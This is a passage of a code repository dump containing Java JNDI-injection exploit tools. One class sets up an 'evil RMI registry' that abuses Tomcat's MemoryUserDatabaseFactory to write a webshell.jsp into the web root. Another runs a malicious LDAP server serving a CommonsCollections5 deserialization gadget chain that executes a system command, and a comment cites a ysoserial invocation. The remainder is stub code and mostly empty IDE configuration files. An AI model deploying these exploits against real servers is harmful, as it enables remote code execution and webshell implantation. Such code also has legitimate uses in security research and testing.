args) { 65 | return null; 66 | } 67 | 68 | @Override 69 | public String getOutputStatement(String toDisplay) { 70 | return null; 71 | } 72 | 73 | @Override 74 | public String getProgram(String... statements) { 75 | return null; 76 | } 77 | 78 | @Override 79 | public ScriptEngine getScriptEngine() { 80 | return null; 81 | } 82 | } -------------------------------------------------------------------------------- /org.apache.catalina.users.MemoryUserDatabaseFactory/src/main/java/org/example/UserDataRCE_Server_linux.java: -------------------------------------------------------------------------------- 1 | package org.example; 2 | 3 | import com.sun.jndi.rmi.registry.ReferenceWrapper; 4 | import org.apache.naming.ResourceRef; 5 | 6 | import javax.naming.StringRefAddr; 7 | import java.rmi.registry.LocateRegistry; 8 | import java.rmi.registry.Registry; 9 | 10 | public class UserDataRCE_Server_linux { 11 | public static void main(String[] args) throws Exception{ 12 | System.out.println("Creating evil RMI registry on port 1100"); 13 | Registry registry = LocateRegistry.createRegistry(1100); 14 | System.setProperty("java.rmi.server.hostname", "127.0.0.1"); 15 | 16 | // ===============================1 创建http:/================================== 17 | // ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "", 18 | // true, "org.apache.naming.factory.BeanFactory", null); 19 | // ref.add(new StringRefAddr("forceString", "a=createDirectory")); 20 | // ref.add(new StringRefAddr("a", "../http:")); 21 | 22 | // ===============================2 创建http:/127.0.0.1:7777.1:8888/============ 23 | // ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "", 24 | // true, "org.apache.naming.factory.BeanFactory", null); 25 | // ref.add(new StringRefAddr("forceString", "a=createDirectory")); 26 | // ref.add(new StringRefAddr("a", "../http:/127.0.0.1:8888")); 27 | 28 | // ===============================3 写入webshell文件============================= 29 | ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", 30 | true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null); 31 | ref.add(new StringRefAddr("pathname", "http://127.0.0.1:7777/../../webapps/ROOT/webshell.jsp")); 32 | ref.add(new StringRefAddr("readonly", "false")); 33 | 34 | ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); 35 | registry.bind("writeFile", referenceWrapper); 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /.idea/artifacts/org_yaml_snakeyaml_Yaml_jar.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | $PROJECT_DIR$/out/artifacts/org_yaml_snakeyaml_Yaml_jar 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /.idea/artifacts/org_apache_naming_factory_BeanFactory_jar.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | $PROJECT_DIR$/out/artifacts/org_apache_naming_factory_BeanFactory_jar 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | -------------------------------------------------------------------------------- /ByUnserialize/src/main/java/org/example/UnserializeLDAPServer.java: -------------------------------------------------------------------------------- 1 | package org.example; 2 | 3 | import com.unboundid.ldap.listener.InMemoryDirectoryServer; 4 | import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; 5 | import com.unboundid.ldap.listener.InMemoryListenerConfig; 6 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 7 | import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; 8 | import com.unboundid.ldap.sdk.Entry; 9 | import com.unboundid.ldap.sdk.LDAPResult; 10 | import com.unboundid.ldap.sdk.ResultCode; 11 | import org.apache.commons.collections.Transformer; 12 | import org.apache.commons.collections.functors.ChainedTransformer; 13 | import org.apache.commons.collections.functors.ConstantTransformer; 14 | import org.apache.commons.collections.functors.InvokerTransformer; 15 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 16 | import org.apache.commons.collections.map.LazyMap; 17 | 18 | import javax.management.BadAttributeValueExpException; 19 | import javax.net.ServerSocketFactory; 20 | import javax.net.SocketFactory; 21 | import javax.net.ssl.SSLSocketFactory; 22 | import java.io.ByteArrayOutputStream; 23 | import java.io.ObjectOutputStream; 24 | import java.lang.reflect.Field; 25 | import java.net.InetAddress; 26 | import java.net.URL; 27 | import java.util.HashMap; 28 | import java.util.Map; 29 | 30 | 31 | public class UnserializeLDAPServer { 32 | private static final String LDAP_BASE = "dc=example,dc=com"; 33 | 34 | public static void main ( String[] tmp_args ) throws Exception{ 35 | String[] args=new String[]{"http://127.0.0.1:8081/#CC5"}; 36 | int port = 4444; 37 | 38 | InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); 39 | config.setListenerConfigs(new InMemoryListenerConfig( 40 | "listen", //$NON-NLS-1$ 41 | InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ 42 | port, 43 | ServerSocketFactory.getDefault(), 44 | SocketFactory.getDefault(), 45 | (SSLSocketFactory) SSLSocketFactory.getDefault())); 46 | 47 | config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); 48 | InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); 49 | System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ 50 | ds.startListening(); 51 | } 52 | 53 | private static class OperationInterceptor extends InMemoryOperationInterceptor { 54 | 55 | private URL codebase; 56 | 57 | public OperationInterceptor ( URL cb ) { 58 | this.codebase = cb; 59 | } 60 | 61 | @Override 62 | public void processSearchResult ( InMemoryInterceptedSearchResult result ) { 63 | String base = result.getRequest().getBaseDN(); 64 | Entry e = new Entry(base); 65 | try { 66 | sendResult(result, base, e); 67 | } 68 | catch ( Exception e1 ) { 69 | e1.printStackTrace(); 70 | } 71 | } 72 | 73 | protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception { 74 | URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); 75 | System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); 76 | e.addAttribute("javaClassName", "foo"); 77 | String cbstring = this.codebase.toString(); 78 | int refPos = cbstring.indexOf('#'); 79 | if ( refPos > 0 ) { 80 | cbstring = cbstring.substring(0, refPos); 81 | } 82 | 83 | //CommonsCollections5()可以换成 Base64.decode("cc5链条序列化加base64的内容")java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 'calc'|base64 84 | e.addAttribute("javaSerializedData",CommonsCollections5()); 85 | 86 | result.sendSearchEntry(e); 87 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 88 | } 89 | } 90 | 91 | private static byte[] CommonsCollections5() throws Exception{ 92 | Transformer[] transformers=new Transformer[]{ 93 | new ConstantTransformer(Runtime.class), 94 | new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}), 95 | new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}), 96 | new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) 97 | }; 98 | 99 | ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); 100 | Map map=new HashMap(); 101 | Map lazyMap= LazyMap.decorate(map,chainedTransformer); 102 | TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test"); 103 | BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null); 104 | Field field=badAttributeValueExpException.getClass().getDeclaredField("val"); 105 | field.setAccessible(true); 106 | field.set(badAttributeValueExpException,tiedMapEntry); 107 | 108 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); 109 | 110 | ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); 111 | objectOutputStream.writeObject(badAttributeValueExpException); 112 | objectOutputStream.close(); 113 | 114 | return byteArrayOutputStream.toByteArray(); 115 | } 116 | } -------------------------------------------------------------------------------- /.idea/uiDesigner.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | --------------------------------------------------------------------------------